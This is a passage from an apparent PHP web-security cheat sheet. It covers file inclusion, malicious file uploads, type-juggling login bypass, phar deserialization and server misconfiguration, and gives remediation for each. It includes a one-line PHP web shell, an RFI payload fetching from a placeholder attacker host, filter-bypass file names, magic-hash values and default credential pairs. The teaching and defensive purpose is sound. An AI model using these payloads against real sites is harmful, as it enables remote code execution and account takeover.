 - **How to fix: Never** include files based on direct user input. Use a **strict whitelist**.

Type 2: Remote File Inclusion (RFI)

- **Test Case:** Same as LFI. This is a rarer, older vulnerability but *catastrophic* if found.
- **Payload:**
 - `.../index.php?page=http://attacker-site.com/shell.txt`
- **How it works:** This requires `allow_url_include = On` in the `php.ini` configuration. If enabled, the server will fetch the file from the attacker's URL and *execute it* as PHP code. The `shell.txt` file would contain a simple web shell (e.g., `<?php system($_GET['cmd']); ?>`), giving the attacker instant RCE.
- **How to fix: Server Configuration.** In your `php.ini` file, ensure these directives are set to `Off`:
 - `allow_url_include = Off` (This is the default and *must* be `Off`)
 - `allow_url_fopen = Off` (Disables all URL-based file access, which is safer but may break functionality like fetching RSS feeds. Disabling `allow_url_include` is the most critical fix).

Name: UNRESTRICTED FILE UPLOAD

Severity: ★★★★★

Type 1: PHP Web Shell Upload

- **Test Case:** Find any file upload form (profile picture, document submission, etc.).
- **Payload:**
 1. Create a file named `shell.php`.
 2. Inside the file, put a simple web shell: `<?php system($_GET['cmd']); ?>`
 3. Try to upload this file.
 4. If it fails, try bypassing filters: `shell.phtml`, `shell.php5`, `shell.jpeg` (and use Burp to change the `Content-Type` header to `image/jpeg` while keeping the extension).
- **How it works:** The application has a weak file validation system. It might only check the `Content-Type` header (which an attacker can fake) or have an incomplete *blacklist* of extensions (e.g., it blocks `.php` but not `.phtml`, which some servers still execute). Once uploaded, the attacker just navigates to the file (e.g., `.../uploads/shell.phtml?cmd=whoami`) to get RCE.
- **How to fix: A multi-layered defense is essential:**
 1. **Strict Whitelist:** Only allow known-safe extensions (e.g., `['jpg', 'png', 'pdf']`). Deny everything else. This is the most important step.
 2. **Rename File:** On the server, ignore the user-supplied filename. Generate a new, random, non-executable name (e.g., `a7d8f9c1-b2e3.dat` or `profile_user_123.jpg`).
 3. **Store Outside Web Root:** Store uploaded files in a directory that is *not* publicly accessible via a URL (e.g., store them in `/var/uploads/`, not `/var/www/html/uploads/`).
 4. **Serve Safely:** When a user needs to download the file, use a PHP script to read the file from the safe directory and serve it with the correct `Content-Type: application/octet-stream` and `Content-Disposition: attachment` headers. This forces the browser to download the file instead of trying to render or execute it.

Name: PHP TYPE JUGGLING (LOOSE COMPARISONS)

Severity: ★★☆☆☆

Type 1: Authentication Bypass with `==`

- **Test Case:** A login form, a password check, or a token validation function. This bug is invisible from the outside and relies on guessing the internal code.
- **Payload (Magic Hashes):** If the password hash in the database starts with `0e` (e.g., `0e123456789...`), and an attacker provides a password whose MD5 hash *also* starts with `0e` (e.g., the string `s878926199a`), PHP will treat both as scientific notation for "zero" and they will be equal.
- **Payload (Type Conversion):**
 - If code is `if ($token == 0)` to check for an invalid token.
 - An attacker sends `.../api/data.php?token=abc`.
 - PHP converts the string `"abc"` to an integer for the `==` comparison. `"abc"` becomes `0`.
 - The check `0 == 0` becomes `true`, and the attacker bypasses the check.
- **How it works:** PHP's loose comparison operator `==` tries to be "helpful" by converting (juggling) types before comparing. This leads to unexpected behavior: `0 == "abc"` is `true`, and `"0e123" == "0e456"` is `true` (both are treated as the number zero).
- **How to fix:** Always use the **strict comparison operator** `===` (and `!==`). This operator checks both *value* and *type*, so `0 === "abc"` is correctly `false`.
 - **Bad Code:** `if ($_POST['password'] == $db_hash)`
 - **Good Code:** `if ($_POST['password'] === $db_hash)`
 - **Even Better Code:** Use PHP's built-in `password_hash()` and `password_verify()` functions. `password_verify()` is timing-attack-safe and handles comparisons correctly.

```
// Hashing a new password
$hash = password_hash($password, PASSWORD_DEFAULT);

// Verifying a login
if (password_verify($submitted_password, $hash_from_db)) {
    // Password is correct!
}
```

Name: PHP `phar://` DESERIALIZATION

Severity: ★★★★★

Type 1: Object Instantiation via File Operations

- **Test Case:** This is an advanced bug. Find any file operation function that takes user-controlled input. This includes `file_exists()`, `fopen()`, `file_get_contents()`, `include()`, `md5_file()`, etc.
- **Payload (Multi-step):**
 1. Attacker finds a "gadget chain" (a class in the application's code) that leads to RCE during object deserialization (see the Insecure Deserialization bug from the first list).
 2. Attacker uses a tool (like **PHPGGC**) to create a malicious object with this chain.
 3. Attacker creates a `.phar` (PHP Archive) file and stores this malicious object in its *metadata*.
 4. Attacker uploads this `.phar` file (e.g., as `avatar.jpg`, since the content doesn't have to match the extension).
 5. Attacker triggers the vulnerable file function using the `phar://` wrapper:
`.../profile.php?check_file=phar://uploads/avatar.jpg`
- **How it works:** The `phar://` stream wrapper is built into PHP. When *any* file operation function touches a `phar://` path, PHP *automatically* deserializes the metadata stored in that PHAR file. This triggers the gadget chain and leads to RCE, *even from a simple* `file_exists()` *check*. This is a *huge* vulnerability class that has led to many CVEs in WordPress, Laravel, Typo3, and other major projects.
- **How to fix:**
 1. **Input Validation:** Be extremely strict about file paths passed to any file system function. Do not allow `://` in the path.
 2. **Disable `phar://` (Difficult):** You can try to use `stream_wrapper_unregister('phar');` but this can break dependencies.
 3. **Dependency Management:** Keep all your `composer` dependencies (and WordPress plugins) up-to-date, as this vulnerability is often exploited via "gadgets" in third-party libraries.

Name: SECURITY MISCONFIGURATION

Severity: ★★☆☆☆ to ★★★★★ (Varies widely)

Type 1: Default Credentials

- **Test Case:** Find any login panel for a third-party tool, a framework, or a device. (e.g., `/admin` , `/phpmyadmin` , `/wp-admin` , router login pages on subdomains).
- **Payload (Test Case):**
 - Try common default username/password combinations:
 - `admin` / `admin`
 - `admin` / `password`
 - `root` / `toor`
 - `wordpress` / `wordpress`
 - Search Google for "default password for [software name]" (e.g., "default password for phpmyadmin").
- **How it works:** An administrator installs a piece of software (like a database admin panel, a CMS, or network hardware) and forgets to change the default, publicly-known password.
- **How to fix: Enforce Password Changes.** Implement a policy and a mechanism that *forces* the administrator to change the default password upon first login. Regularly audit your assets for any remaining default credentials.

Type 2: Directory Listing Enabled

- **Test Case:** Manually navigate to a directory that you know exists but don't have a specific file for. (e.g., `.../wp-content/uploads/` , `.../images/` , `.../css/`).
- **Payload (Test Case):**
 - **Raw Request:** `GET /wp-content/uploads/2025/10/ HTTP/1.1`
 - **Observed Behavior:** Instead of a 403 Forbidden error, the server returns a web page that looks like a file explorer, listing every file and folder inside.
- **How it works:** The web server (like Apache or Nginx) is configured to show a list of all files in a directory if no index file (like `index.html` or `index.php`) is

present. This can leak sensitive files, backup files (`.bak` , `.old`), or give an attacker a full map of your site's structure.

- **How to fix:**

- **Apache:** In your `.htaccess` or `httpd.conf` file, add the line:

```
Options -Indexes
```

- **Nginx:** In your `nginx.conf` within the `server` block, add:

```
autoindex off;
```

- -END--